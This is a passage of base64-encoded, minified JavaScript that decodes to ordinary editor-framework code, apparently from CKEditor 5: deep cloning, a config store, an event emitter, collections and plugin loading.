2YXIgdXI9MSxocj0yLGZyPTQ7dmFyIG1yPSJbb2JqZWN0IEFyZ3VtZW50c10iLGdyPSJbb2JqZWN0IEFycmF5XSIscHI9IltvYmplY3QgQm9vbGVhbl0iLGtyPSJbb2JqZWN0IERhdGVdIixicj0iW29iamVjdCBFcnJvcl0iLHdyPSJbb2JqZWN0IEZ1bmN0aW9uXSIsQ3I9IltvYmplY3QgR2VuZXJhdG9yRnVuY3Rpb25dIixBcj0iW29iamVjdCBNYXBdIixfcj0iW29iamVjdCBOdW1iZXJdIix2cj0iW29iamVjdCBPYmplY3RdIix5cj0iW29iamVjdCBSZWdFeHBdIix4cj0iW29iamVjdCBTZXRdIixEcj0iW29iamVjdCBTdHJpbmddIixFcj0iW29iamVjdCBTeW1ib2xdIixNcj0iW29iamVjdCBXZWFrTWFwXSI7dmFyIFNyPSJbb2JqZWN0IEFycmF5QnVmZmVyXSIsVHI9IltvYmplY3QgRGF0YVZpZXddIixJcj0iW29iamVjdCBGbG9hdDMyQXJyYXldIixOcj0iW29iamVjdCBGbG9hdDY0QXJyYXldIixCcj0iW29iamVjdCBJbnQ4QXJyYXldIixQcj0iW29iamVjdCBJbnQxNkFycmF5XSIsenI9IltvYmplY3QgSW50MzJBcnJheV0iLExyPSJbb2JqZWN0IFVpbnQ4QXJyYXldIixPcj0iW29iamVjdCBVaW50OENsYW1wZWRBcnJheV0iLFJyPSJbb2JqZWN0IFVpbnQxNkFycmF5XSIsanI9IltvYmplY3QgVWludDMyQXJyYXldIjt2YXIgRnI9e307RnJbbXJdPUZyW2dyXT1GcltTcl09RnJbVHJdPUZyW3ByXT1Gcltrcl09RnJbSXJdPUZyW05yXT1GcltCcl09RnJbUHJdPUZyW3pyXT1GcltBcl09RnJbX3JdPUZyW3ZyXT1Gclt5cl09RnJbeHJdPUZyW0RyXT1GcltFcl09RnJbTHJdPUZyW09yXT1GcltScl09RnJbanJdPXRydWU7RnJbYnJdPUZyW3dyXT1GcltNcl09ZmFsc2U7ZnVuY3Rpb24gVnIodCxlLG4saSxvLHIpe3ZhciBzLGE9ZSZ1cixjPWUmaHIsbD1lJmZyO2lmKG4pe3M9bz9uKHQsaSxvLHIpOm4odCl9aWYocyE9PXVuZGVmaW5lZCl7cmV0dXJuIHN9aWYoIWN0KHQpKXtyZXR1cm4gdH12YXIgZD1RZSh0KTtpZihkKXtzPXVvKHQpO2lmKCFhKXtyZXR1cm4gZ2kodCxzKX19ZWxzZXt2YXIgdT1zbyh0KSxoPXU9PXdyfHx1PT1DcjtpZihPYmplY3QoJGVbImEiXSkodCkpe3JldHVybiBPYmplY3QoZmlbImEiXSkodCxhKX1pZih1PT12cnx8dT09bXJ8fGgmJiFvKXtzPWN8fGg/e306Wm8odCk7aWYoIWEpe3JldHVybiBjP0JpKHQsaGkocyx0KSk6RGkodCxuaShzLHQpKX19ZWxzZXtpZighRnJbdV0pe3JldHVybiBvP3Q6e319cz1xbyh0LHUsYSl9fXJ8fChyPW5ldyB4ZSk7dmFyIGY9ci5nZXQodCk7aWYoZil7cmV0dXJuIGZ9ci5zZXQodCxzKTtpZihkcih0KSl7dC5mb3JFYWNoKChmdW5jdGlvbihpKXtzLmFkZChWcihpLGUsbixpLHQscikpfSkpfWVsc2UgaWYob3IodCkpe3QuZm9yRWFjaCgoZnVuY3Rpb24oaSxvKXtzLnNldChvLFZyKGksZSxuLG8sdCxyKSl9KSl9dmFyIG09bD9jP2ppOk9pOmM/a2V5c0luOnRpO3ZhciBnPWQ/dW5kZWZpbmVkOm0odCk7RWUoZ3x8dCwoZnVuY3Rpb24oaSxvKXtpZihnKXtvPWk7aT10W29dfXplKHMsbyxWcihpLGUsbixvLHQscikpfSkpO3JldHVybiBzfXZhciBVcj1Wcjt2YXIgSHI9MSxHcj00O2Z1bmN0aW9uIFdyKHQsZSl7ZT10eXBlb2YgZT09ImZ1bmN0aW9uIj9lOnVuZGVmaW5lZDtyZXR1cm4gVXIodCxIcnxHcixlKX12YXIgS3I9V3I7ZnVuY3Rpb24gcXIodCl7cmV0dXJuIEQodCkmJnQubm9kZVR5cGU9PT0xJiYhUCh0KX12YXIgWXI9cXI7Y2xhc3MgUXJ7Y29uc3RydWN0b3IodCxlKXt0aGlzLl9jb25maWc9e307aWYoZSl7dGhpcy5kZWZpbmUoJHIoZSkpfWlmKHQpe3RoaXMuX3NldE9iamVjdFRvVGFyZ2V0KHRoaXMuX2NvbmZpZyx0KX19c2V0KHQsZSl7dGhpcy5fc2V0VG9UYXJnZXQodGhpcy5fY29uZmlnLHQsZSl9ZGVmaW5lKHQsZSl7Y29uc3Qgbj10cnVlO3RoaXMuX3NldFRvVGFyZ2V0KHRoaXMuX2NvbmZpZyx0LGUsbil9Z2V0KHQpe3JldHVybiB0aGlzLl9nZXRGcm9tU291cmNlKHRoaXMuX2NvbmZpZyx0KX0qbmFtZXMoKXtmb3IoY29uc3QgdCBvZiBPYmplY3Qua2V5cyh0aGlzLl9jb25maWcpKXt5aWVsZCB0fX1fc2V0VG9UYXJnZXQodCxlLG4saT1mYWxzZSl7aWYoUChlKSl7dGhpcy5fc2V0T2JqZWN0VG9UYXJnZXQodCxlLGkpO3JldHVybn1jb25zdCBvPWUuc3BsaXQoIi4iKTtlPW8ucG9wKCk7Zm9yKGNvbnN0IGUgb2Ygbyl7aWYoIVAodFtlXSkpe3RbZV09e319dD10W2VdfWlmKFAobikpe2lmKCFQKHRbZV0pKXt0W2VdPXt9fXQ9dFtlXTt0aGlzLl9zZXRPYmplY3RUb1RhcmdldCh0LG4saSk7cmV0dXJufWlmKGkmJnR5cGVvZiB0W2VdIT0idW5kZWZpbmVkIil7cmV0dXJufXRbZV09bn1fZ2V0RnJvbVNvdXJjZSh0LGUpe2NvbnN0IG49ZS5zcGxpdCgiLiIpO2U9bi5wb3AoKTtmb3IoY29uc3QgZSBvZiBuKXtpZighUCh0W2VdKSl7dD1udWxsO2JyZWFrfXQ9dFtlXX1yZXR1cm4gdD8kcih0W2VdKTp1bmRlZmluZWR9X3NldE9iamVjdFRvVGFyZ2V0KHQsZSxuKXtPYmplY3Qua2V5cyhlKS5mb3JFYWNoKChpPT57dGhpcy5fc2V0VG9UYXJnZXQodCxpLGVbaV0sbil9KSl9fWZ1bmN0aW9uICRyKHQpe3JldHVybiBLcih0LEpyKX1mdW5jdGlvbiBKcih0KXtyZXR1cm4gWXIodCk/dDp1bmRlZmluZWR9ZnVuY3Rpb24gWnIoKXtyZXR1cm4gZnVuY3Rpb24gdCgpe3QuY2FsbGVkPXRydWV9fXZhciBYcj1acjtjbGFzcyB0c3tjb25zdHJ1Y3Rvcih0LGUpe3RoaXMuc291cmNlPXQ7dGhpcy5uYW1lPWU7dGhpcy5wYXRoPVtdO3RoaXMuc3RvcD1YcigpO3RoaXMub2ZmPVhyKCl9fWNvbnN0IGVzPW5ldyBBcnJheSgyNTYpLmZpbGwoKS5tYXAoKCh0LGUpPT4oIjAiK2UudG9TdHJpbmcoMTYpKS5zbGljZSgtMikpKTtmdW5jdGlvbiBucygpe2NvbnN0IHQ9TWF0aC5yYW5kb20oKSo0Mjk0OTY3Mjk2Pj4+MDtjb25zdCBlPU1hdGgucmFuZG9tKCkqNDI5NDk2NzI5Nj4+PjA7Y29uc3Qgbj1NYXRoLnJhbmRvbSgpKjQyOTQ5NjcyOTY+Pj4wO2NvbnN0IGk9TWF0aC5yYW5kb20oKSo0Mjk0OTY3Mjk2Pj4+MDtyZXR1cm4iZSIrZXNbdD4+MCYyNTVdK2VzW3Q+PjgmMjU1XStlc1t0Pj4xNiYyNTVdK2VzW3Q+PjI0JjI1NV0rZXNbZT4+MCYyNTVdK2VzW2U+PjgmMjU1XStlc1tlPj4xNiYyNTVdK2VzW2U+PjI0JjI1NV0rZXNbbj4+MCYyNTVdK2VzW24+PjgmMjU1XStlc1tuPj4xNiYyNTVdK2VzW24+PjI0JjI1NV0rZXNbaT4+MCYyNTVdK2VzW2k+PjgmMjU1XStlc1tpPj4xNiYyNTVdK2VzW2k+PjI0JjI1NV19Y29uc3QgaXM9e2dldCh0KXtpZih0eXBlb2YgdCE9Im51bWJlciIpe3JldHVybiB0aGlzW3RdfHx0aGlzLm5vcm1hbH1lbHNle3JldHVybiB0fX0saGlnaGVzdDoxZTUsaGlnaDoxZTMsbm9ybWFsOjAsbG93Oi0xZTMsbG93ZXN0Oi0xZTV9O3ZhciBvcz1pczt2YXIgcnM9big4KTt2YXIgc3M9bigwKTtjb25zdCBhcz1TeW1ib2woImxpc3RlbmluZ1RvIik7Y29uc3QgY3M9U3ltYm9sKCJlbWl0dGVySWQiKTtjb25zdCBscz17b24odCxlLG49e30pe3RoaXMubGlzdGVuVG8odGhpcyx0LGUsbil9LG9uY2UodCxlLG4pe2xldCBpPWZhbHNlO2NvbnN0IG89ZnVuY3Rpb24odCwuLi5uKXtpZighaSl7aT10cnVlO3Qub2ZmKCk7ZS5jYWxsKHRoaXMsdCwuLi5uKX19O3RoaXMubGlzdGVuVG8odGhpcyx0LG8sbil9LG9mZih0LGUpe3RoaXMuc3RvcExpc3RlbmluZyh0aGlzLHQsZSl9LGxpc3RlblRvKHQsZSxuLGk9e30pe2xldCBvLHI7aWYoIXRoaXNbYXNdKXt0aGlzW2FzXT17fX1jb25zdCBzPXRoaXNbYXNdO2lmKCFmcyh0KSl7aHModCl9Y29uc3QgYT1mcyh0KTtpZighKG89c1thXSkpe289c1thXT17ZW1pdHRlcjp0LGNhbGxiYWNrczp7fX19aWYoIShyPW8uY2FsbGJhY2tzW2VdKSl7cj1vLmNhbGxiYWNrc1tlXT1bXX1yLnB1c2gobik7cHModCxlKTtjb25zdCBjPWtzKHQsZSk7Y29uc3QgbD1vcy5nZXQoaS5wcmlvcml0eSk7Y29uc3QgZD17Y2FsbGJhY2s6bixwcmlvcml0eTpsfTtmb3IoY29uc3QgdCBvZiBjKXtsZXQgZT1mYWxzZTtmb3IobGV0IG49MDtuPHQubGVuZ3RoO24rKyl7aWYodFtuXS5wcmlvcml0eTxsKXt0LnNwbGljZShuLDAsZCk7ZT10cnVlO2JyZWFrfX1pZighZSl7dC5wdXNoKGQpfX19LHN0b3BMaXN0ZW5pbmcodCxlLG4pe2NvbnN0IGk9dGhpc1thc107bGV0IG89dCYmZnModCk7Y29uc3Qgcj1pJiZvJiZpW29dO2NvbnN0IHM9ciYmZSYmci5jYWxsYmFja3NbZV07aWYoIWl8fHQmJiFyfHxlJiYhcyl7cmV0dXJufWlmKG4pe0NzKHQsZSxuKTtjb25zdCBpPXMuaW5kZXhPZihuKTtpZihpIT09LTEpe2lmKHMubGVuZ3RoPT09MSl7ZGVsZXRlIHIuY2FsbGJhY2tzW2VdfWVsc2V7Q3ModCxlLG4pfX19ZWxzZSBpZihzKXt3aGlsZShuPXMucG9wKCkpe0NzKHQsZSxuKX1kZWxldGUgci5jYWxsYmFja3NbZV19ZWxzZSBpZihyKXtmb3IoZSBpbiByLmNhbGxiYWNrcyl7dGhpcy5zdG9wTGlzdGVuaW5nKHQsZSl9ZGVsZXRlIGlbb119ZWxzZXtmb3IobyBpbiBpKXt0aGlzLnN0b3BMaXN0ZW5pbmcoaVtvXS5lbWl0dGVyKX1kZWxldGUgdGhpc1thc119fSxmaXJlKHQsLi4uZSl7dHJ5e2NvbnN0IG49dCBpbnN0YW5jZW9mIHRzP3Q6bmV3IHRzKHRoaXMsdCk7Y29uc3QgaT1uLm5hbWU7bGV0IG89YnModGhpcyxpKTtuLnBhdGgucHVzaCh0aGlzKTtpZihvKXtjb25zdCB0PVtuLC4uLmVdO289QXJyYXkuZnJvbShvKTtmb3IobGV0IGU9MDtlPG8ubGVuZ3RoO2UrKyl7b1tlXS5jYWxsYmFjay5hcHBseSh0aGlzLHQpO2lmKG4ub2ZmLmNhbGxlZCl7ZGVsZXRlIG4ub2ZmLmNhbGxlZDtDcyh0aGlzLGksb1tlXS5jYWxsYmFjayl9aWYobi5zdG9wLmNhbGxlZCl7YnJlYWt9fX1pZih0aGlzLl9kZWxlZ2F0aW9ucyl7Y29uc3QgdD10aGlzLl9kZWxlZ2F0aW9ucy5nZXQoaSk7Y29uc3Qgbz10aGlzLl9kZWxlZ2F0aW9ucy5nZXQoIioiKTtpZih0KXt3cyh0LG4sZSl9aWYobyl7d3MobyxuLGUpfX1yZXR1cm4gbi5yZXR1cm59Y2F0Y2godCl7c3NbImEiXS5yZXRocm93VW5leHBlY3RlZEVycm9yKHQsdGhpcyl9fSxkZWxlZ2F0ZSguLi50KXtyZXR1cm57dG86KGUsbik9PntpZighdGhpcy5fZGVsZWdhdGlvbnMpe3RoaXMuX2RlbGVnYXRpb25zPW5ldyBNYXB9dC5mb3JFYWNoKCh0PT57Y29uc3QgaT10aGlzLl9kZWxlZ2F0aW9ucy5nZXQodCk7aWYoIWkpe3RoaXMuX2RlbGVnYXRpb25zLnNldCh0LG5ldyBNYXAoW1tlLG5dXSkpfWVsc2V7aS5zZXQoZSxuKX19KSl9fX0sc3RvcERlbGVnYXRpbmcodCxlKXtpZighdGhpcy5fZGVsZWdhdGlvbnMpe3JldHVybn1pZighdCl7dGhpcy5fZGVsZWdhdGlvbnMuY2xlYXIoKX1lbHNlIGlmKCFlKXt0aGlzLl9kZWxlZ2F0aW9ucy5kZWxldGUodCl9ZWxzZXtjb25zdCBuPXRoaXMuX2RlbGVnYXRpb25zLmdldCh0KTtpZihuKXtuLmRlbGV0ZShlKX19fX07dmFyIGRzPWxzO2Z1bmN0aW9uIHVzKHQsZSl7aWYodFthc10mJnRbYXNdW2VdKXtyZXR1cm4gdFthc11bZV0uZW1pdHRlcn1yZXR1cm4gbnVsbH1mdW5jdGlvbiBocyh0LGUpe2lmKCF0W2NzXSl7dFtjc109ZXx8bnMoKX19ZnVuY3Rpb24gZnModCl7cmV0dXJuIHRbY3NdfWZ1bmN0aW9uIG1zKHQpe2lmKCF0Ll9ldmVudHMpe09iamVjdC5kZWZpbmVQcm9wZXJ0eSh0LCJfZXZlbnRzIix7dmFsdWU6e319KX1yZXR1cm4gdC5fZXZlbnRzfWZ1bmN0aW9uIGdzKCl7cmV0dXJue2NhbGxiYWNrczpbXSxjaGlsZEV2ZW50czpbXX19ZnVuY3Rpb24gcHModCxlKXtjb25zdCBuPW1zKHQpO2lmKG5bZV0pe3JldHVybn1sZXQgaT1lO2xldCBvPW51bGw7Y29uc3Qgcj1bXTt3aGlsZShpIT09IiIpe2lmKG5baV0pe2JyZWFrfW5baV09Z3MoKTtyLnB1c2gobltpXSk7aWYobyl7bltpXS5jaGlsZEV2ZW50cy5wdXNoKG8pfW89aTtpPWkuc3Vic3RyKDAsaS5sYXN0SW5kZXhPZigiOiIpKX1pZihpIT09IiIpe2Zvcihjb25zdCB0IG9mIHIpe3QuY2FsbGJhY2tzPW5baV0uY2FsbGJhY2tzLnNsaWNlKCl9bltpXS5jaGlsZEV2ZW50cy5wdXNoKG8pfX1mdW5jdGlvbiBrcyh0LGUpe2NvbnN0IG49bXModClbZV07aWYoIW4pe3JldHVybltdfWxldCBpPVtuLmNhbGxiYWNrc107Zm9yKGxldCBlPTA7ZTxuLmNoaWxkRXZlbnRzLmxlbmd0aDtlKyspe2NvbnN0IG89a3ModCxuLmNoaWxkRXZlbnRzW2VdKTtpPWkuY29uY2F0KG8pfXJldHVybiBpfWZ1bmN0aW9uIGJzKHQsZSl7bGV0IG47aWYoIXQuX2V2ZW50c3x8IShuPXQuX2V2ZW50c1tlXSl8fCFuLmNhbGxiYWNrcy5sZW5ndGgpe2lmKGUuaW5kZXhPZigiOiIpPi0xKXtyZXR1cm4gYnModCxlLnN1YnN0cigwLGUubGFzdEluZGV4T2YoIjoiKSkpfWVsc2V7cmV0dXJuIG51bGx9fXJldHVybiBuLmNhbGxiYWNrc31mdW5jdGlvbiB3cyh0LGUsbil7Zm9yKGxldFtpLG9db2YgdCl7aWYoIW8pe289ZS5uYW1lfWVsc2UgaWYodHlwZW9mIG89PSJmdW5jdGlvbiIpe289byhlLm5hbWUpfWNvbnN0IHQ9bmV3IHRzKGUuc291cmNlLG8pO3QucGF0aD1bLi4uZS5wYXRoXTtpLmZpcmUodCwuLi5uKX19ZnVuY3Rpb24gQ3ModCxlLG4pe2NvbnN0IGk9a3ModCxlKTtmb3IoY29uc3QgdCBvZiBpKXtmb3IobGV0IGU9MDtlPHQubGVuZ3RoO2UrKyl7aWYodFtlXS5jYWxsYmFjaz09bil7dC5zcGxpY2UoZSwxKTtlLS19fX19ZnVuY3Rpb24gQXModCl7cmV0dXJuISEodCYmdFtTeW1ib2wuaXRlcmF0b3JdKX1mdW5jdGlvbiBfcyh0LC4uLmUpe2UuZm9yRWFjaCgoZT0+e09iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGUpLmNvbmNhdChPYmplY3QuZ2V0T3duUHJvcGVydHlTeW1ib2xzKGUpKS5mb3JFYWNoKChuPT57aWYobiBpbiB0LnByb3RvdHlwZSl7cmV0dXJufWNvbnN0IGk9T2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcihlLG4pO2kuZW51bWVyYWJsZT1mYWxzZTtPYmplY3QuZGVmaW5lUHJvcGVydHkodC5wcm90b3R5cGUsbixpKX0pKX0pKX1jbGFzcyB2c3tjb25zdHJ1Y3Rvcih0PXt9LGU9e30pe2NvbnN0IG49QXModCk7aWYoIW4pe2U9dH10aGlzLl9pdGVtcz1bXTt0aGlzLl9pdGVtTWFwPW5ldyBNYXA7dGhpcy5faWRQcm9wZXJ0eT1lLmlkUHJvcGVydHl8fCJpZCI7dGhpcy5fYmluZFRvRXh0ZXJuYWxUb0ludGVybmFsTWFwPW5ldyBXZWFrTWFwO3RoaXMuX2JpbmRUb0ludGVybmFsVG9FeHRlcm5hbE1hcD1uZXcgV2Vha01hcDt0aGlzLl9za2lwcGVkSW5kZXhlc0Zyb21FeHRlcm5hbD1bXTtpZihuKXtmb3IoY29uc3QgZSBvZiB0KXt0aGlzLl9pdGVtcy5wdXNoKGUpO3RoaXMuX2l0ZW1NYXAuc2V0KHRoaXMuX2dldEl0ZW1JZEJlZm9yZUFkZGluZyhlKSxlKX19fWdldCBsZW5ndGgoKXtyZXR1cm4gdGhpcy5faXRlbXMubGVuZ3RofWdldCBmaXJzdCgpe3JldHVybiB0aGlzLl9pdGVtc1swXXx8bnVsbH1nZXQgbGFzdCgpe3JldHVybiB0aGlzLl9pdGVtc1t0aGlzLmxlbmd0aC0xXXx8bnVsbH1hZGQodCxlKXtyZXR1cm4gdGhpcy5hZGRNYW55KFt0XSxlKX1hZGRNYW55KHQsZSl7aWYoZT09PXVuZGVmaW5lZCl7ZT10aGlzLl9pdGVtcy5sZW5ndGh9ZWxzZSBpZihlPnRoaXMuX2l0ZW1zLmxlbmd0aHx8ZTwwKXt0aHJvdyBuZXcgc3NbImEiXSgiY29sbGVjdGlvbi1hZGQtaXRlbS1pbnZhbGlkLWluZGV4Iix0aGlzKX1mb3IobGV0IG49MDtuPHQubGVuZ3RoO24rKyl7Y29uc3QgaT10W25dO2NvbnN0IG89dGhpcy5fZ2V0SXRlbUlkQmVmb3JlQWRkaW5nKGkpO2NvbnN0IHI9ZStuO3RoaXMuX2l0ZW1zLnNwbGljZShyLDAsaSk7dGhpcy5faXRlbU1hcC5zZXQobyxpKTt0aGlzLmZpcmUoImFkZCIsaSxyKX10aGlzLmZpcmUoImNoYW5nZSIse2FkZGVkOnQscmVtb3ZlZDpbXSxpbmRleDplfSk7cmV0dXJuIHRoaXN9Z2V0KHQpe2xldCBlO2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7ZT10aGlzLl9pdGVtTWFwLmdldCh0KX1lbHNlIGlmKHR5cGVvZiB0PT0ibnVtYmVyIil7ZT10aGlzLl9pdGVtc1t0XX1lbHNle3Rocm93IG5ldyBzc1siYSJdKCJjb2xsZWN0aW9uLWdldC1pbnZhbGlkLWFyZyIsdGhpcyl9cmV0dXJuIGV8fG51bGx9aGFzKHQpe2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7cmV0dXJuIHRoaXMuX2l0ZW1NYXAuaGFzKHQpfWVsc2V7Y29uc3QgZT10aGlzLl9pZFByb3BlcnR5O2NvbnN0IG49dFtlXTtyZXR1cm4gdGhpcy5faXRlbU1hcC5oYXMobil9fWdldEluZGV4KHQpe2xldCBlO2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7ZT10aGlzLl9pdGVtTWFwLmdldCh0KX1lbHNle2U9dH1yZXR1cm4gdGhpcy5faXRlbXMuaW5kZXhPZihlKX1yZW1vdmUodCl7Y29uc3RbZSxuXT10aGlzLl9yZW1vdmUodCk7dGhpcy5maXJlKCJjaGFuZ2UiLHthZGRlZDpbXSxyZW1vdmVkOltlXSxpbmRleDpufSk7cmV0dXJuIGV9bWFwKHQsZSl7cmV0dXJuIHRoaXMuX2l0ZW1zLm1hcCh0LGUpfWZpbmQodCxlKXtyZXR1cm4gdGhpcy5faXRlbXMuZmluZCh0LGUpfWZpbHRlcih0LGUpe3JldHVybiB0aGlzLl9pdGVtcy5maWx0ZXIodCxlKX1jbGVhcigpe2lmKHRoaXMuX2JpbmRUb0NvbGxlY3Rpb24pe3RoaXMuc3RvcExpc3RlbmluZyh0aGlzLl9iaW5kVG9Db2xsZWN0aW9uKTt0aGlzLl9iaW5kVG9Db2xsZWN0aW9uPW51bGx9Y29uc3QgdD1BcnJheS5mcm9tKHRoaXMuX2l0ZW1zKTt3aGlsZSh0aGlzLmxlbmd0aCl7dGhpcy5fcmVtb3ZlKDApfXRoaXMuZmlyZSgiY2hhbmdlIix7YWRkZWQ6W10scmVtb3ZlZDp0LGluZGV4OjB9KX1iaW5kVG8odCl7aWYodGhpcy5fYmluZFRvQ29sbGVjdGlvbil7dGhyb3cgbmV3IHNzWyJhIl0oImNvbGxlY3Rpb24tYmluZC10by1yZWJpbmQiLHRoaXMpfXRoaXMuX2JpbmRUb0NvbGxlY3Rpb249dDtyZXR1cm57YXM6dD0+e3RoaXMuX3NldFVwQmluZFRvQmluZGluZygoZT0+bmV3IHQoZSkpKX0sdXNpbmc6dD0+e2lmKHR5cGVvZiB0PT0iZnVuY3Rpb24iKXt0aGlzLl9zZXRVcEJpbmRUb0JpbmRpbmcoKGU9PnQoZSkpKX1lbHNle3RoaXMuX3NldFVwQmluZFRvQmluZGluZygoZT0+ZVt0XSkpfX19fV9zZXRVcEJpbmRUb0JpbmRpbmcodCl7Y29uc3QgZT10aGlzLl9iaW5kVG9Db2xsZWN0aW9uO2NvbnN0IG49KG4saSxvKT0+e2NvbnN0IHI9ZS5fYmluZFRvQ29sbGVjdGlvbj09dGhpcztjb25zdCBzPWUuX2JpbmRUb0ludGVybmFsVG9FeHRlcm5hbE1hcC5nZXQoaSk7aWYociYmcyl7dGhpcy5fYmluZFRvRXh0ZXJuYWxUb0ludGVybmFsTWFwLnNldChpLHMpO3RoaXMuX2JpbmRUb0ludGVybmFsVG9FeHRlcm5hbE1hcC5zZXQocyxpKX1lbHNle2NvbnN0IG49dChpKTtpZighbil7dGhpcy5fc2tpcHBlZEluZGV4ZXNGcm9tRXh0ZXJuYWwucHVzaChvKTtyZXR1cm59bGV0IHI9bztmb3IoY29uc3QgdCBvZiB0aGlzLl9za2lwcGVkSW5kZXhlc0Zyb21FeHRlcm5hbCl7aWYobz50KXtyLS19fWZvcihjb25zdCB0IG9mIGUuX3NraXBwZWRJbmRleGVzRnJvbUV4dGVybmFsKXtpZihyPj10KXtyKyt9fXRoaXMuX2JpbmRUb0V4dGVybmFsVG9JbnRlcm5hbE1hcC5zZXQoaSxuKTt0aGlzLl9iaW5kVG9JbnRlcm5hbFRvRXh0ZXJuYWxNYXAuc2V0KG4saSk7dGhpcy5hZGQobixyKTtmb3IobGV0IHQ9MDt0PGUuX3NraXBwZWRJbmRleGVzRnJvbUV4dGVybmFsLmxlbmd0aDt0Kyspe2lmKHI8PWUuX3NraXBwZWRJbmRleGVzRnJvbUV4dGVybmFsW3RdKXtlLl9za2lwcGVkSW5kZXhlc0Zyb21FeHRlcm5hbFt0XSsrfX19fTtmb3IoY29uc3QgdCBvZiBlKXtuKG51bGwsdCxlLmdldEluZGV4KHQpKX10aGlzLmxpc3RlblRvKGUsImFkZCIsbik7dGhpcy5saXN0ZW5UbyhlLCJyZW1vdmUiLCgodCxlLG4pPT57Y29uc3QgaT10aGlzLl9iaW5kVG9FeHRlcm5hbFRvSW50ZXJuYWxNYXAuZ2V0KGUpO2lmKGkpe3RoaXMucmVtb3ZlKGkpfXRoaXMuX3NraXBwZWRJbmRleGVzRnJvbUV4dGVybmFsPXRoaXMuX3NraXBwZWRJbmRleGVzRnJvbUV4dGVybmFsLnJlZHVjZSgoKHQsZSk9PntpZihuPGUpe3QucHVzaChlLTEpfWlmKG4+ZSl7dC5wdXNoKGUpfXJldHVybiB0fSksW10pfSkpfV9nZXRJdGVtSWRCZWZvcmVBZGRpbmcodCl7Y29uc3QgZT10aGlzLl9pZFByb3BlcnR5O2xldCBuO2lmKGUgaW4gdCl7bj10W2VdO2lmKHR5cGVvZiBuIT0ic3RyaW5nIil7dGhyb3cgbmV3IHNzWyJhIl0oImNvbGxlY3Rpb24tYWRkLWludmFsaWQtaWQiLHRoaXMpfWlmKHRoaXMuZ2V0KG4pKXt0aHJvdyBuZXcgc3NbImEiXSgiY29sbGVjdGlvbi1hZGQtaXRlbS1hbHJlYWR5LWV4aXN0cyIsdGhpcyl9fWVsc2V7dFtlXT1uPW5zKCl9cmV0dXJuIG59X3JlbW92ZSh0KXtsZXQgZSxuLGk7bGV0IG89ZmFsc2U7Y29uc3Qgcj10aGlzLl9pZFByb3BlcnR5O2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7bj10O2k9dGhpcy5faXRlbU1hcC5nZXQobik7bz0haTtpZihpKXtlPXRoaXMuX2l0ZW1zLmluZGV4T2YoaSl9fWVsc2UgaWYodHlwZW9mIHQ9PSJudW1iZXIiKXtlPXQ7aT10aGlzLl9pdGVtc1tlXTtvPSFpO2lmKGkpe249aVtyXX19ZWxzZXtpPXQ7bj1pW3JdO2U9dGhpcy5faXRlbXMuaW5kZXhPZihpKTtvPWU9PS0xfHwhdGhpcy5faXRlbU1hcC5nZXQobil9aWYobyl7dGhyb3cgbmV3IHNzWyJhIl0oImNvbGxlY3Rpb24tcmVtb3ZlLTQwNCIsdGhpcyl9dGhpcy5faXRlbXMuc3BsaWNlKGUsMSk7dGhpcy5faXRlbU1hcC5kZWxldGUobik7Y29uc3Qgcz10aGlzLl9iaW5kVG9JbnRlcm5hbFRvRXh0ZXJuYWxNYXAuZ2V0KGkpO3RoaXMuX2JpbmRUb0ludGVybmFsVG9FeHRlcm5hbE1hcC5kZWxldGUoaSk7dGhpcy5fYmluZFRvRXh0ZXJuYWxUb0ludGVybmFsTWFwLmRlbGV0ZShzKTt0aGlzLmZpcmUoInJlbW92ZSIsaSxlKTtyZXR1cm5baSxlXX1bU3ltYm9sLml0ZXJhdG9yXSgpe3JldHVybiB0aGlzLl9pdGVtc1tTeW1ib2wuaXRlcmF0b3JdKCl9fV9zKHZzLGRzKTtjbGFzcyB5c3tjb25zdHJ1Y3Rvcih0LGU9W10sbj1bXSl7dGhpcy5fY29udGV4dD10O3RoaXMuX3BsdWdpbnM9bmV3IE1hcDt0aGlzLl9hdmFpbGFibGVQbHVnaW5zPW5ldyBNYXA7Zm9yKGNvbnN0IHQgb2YgZSl7aWYodC5wbHVnaW5OYW1lKXt0aGlzLl9hdmFpbGFibGVQbHVnaW5zLnNldCh0LnBsdWdpbk5hbWUsdCl9fXRoaXMuX2NvbnRleHRQbHVnaW5zPW5ldyBNYXA7Zm9yKGNvbnN0W3QsZV1vZiBuKXt0aGlzLl9jb250ZXh0UGx1Z2lucy5zZXQodCxlKTt0aGlzLl9jb250ZXh0UGx1Z2lucy5zZXQoZSx0KTtpZih0LnBsdWdpbk5hbWUpe3RoaXMuX2F2YWlsYWJsZVBsdWdpbnMuc2V0KHQucGx1Z2luTmFtZSx0KX19fSpbU3ltYm9sLml0ZXJhdG9yXSgpe2Zvcihjb25zdCB0IG9mIHRoaXMuX3BsdWdpbnMpe2lmKHR5cGVvZiB0WzBdPT0iZnVuY3Rpb24iKXt5aWVsZCB0fX19Z2V0KHQpe2NvbnN0IGU9dGhpcy5fcGx1Z2lucy5nZXQodCk7aWYoIWUpe2xldCBlPXQ7aWYodHlwZW9mIHQ9PSJmdW5jdGlvbiIpe2U9dC5wbHVnaW5OYW1lfHx0Lm5hbWV9dGhyb3cgbmV3IHNzWyJhIl0oInBsdWdpbmNvbGxlY3Rpb24tcGx1Z2luLW5vdC1sb2FkZWQiLHRoaXMuX2NvbnRleHQse3BsdWdpbjplfSl9cmV0dXJuIGV9aGFzKHQpe3JldHVybiB0aGlzLl9wbHVnaW5zLmhhcyh0KX1pbml0KHQsZT1bXSl7Y29uc3Qgbj10aGlzO2NvbnN0IGk9dGhpcy5fY29udGV4dDtjb25zdCBvPW5ldyBTZXQ7Y29uc3Qgcj1bXTtjb25zdCBzPW0odCk7Y29uc3QgYT1tKGUpO2NvbnN0IGM9Zih0KTtpZihjKXtjb25zdCB0PSJwbHVnaW5jb2xsZWN0aW9uLXBsdWdpbi1ub3QtZm91bmQiO09iamVjdChzc1siYiJdKSh0LHtwbHVnaW5zOmN9KTtyZXR1cm4gUHJvbWlzZS5yZWplY3QobmV3IHNzWyJhIl0odCxpLHtwbHVnaW5zOmN9KSl9cmV0dXJuIFByb21pc2UuYWxsKHMubWFwKGwpKS50aGVuKCgoKT0+ZChyLCJpbml0IikpKS50aGVuKCgoKT0+ZChyLCJhZnRlckluaXQiKSkpLnRoZW4oKCgpPT5yKSk7ZnVuY3Rpb24gb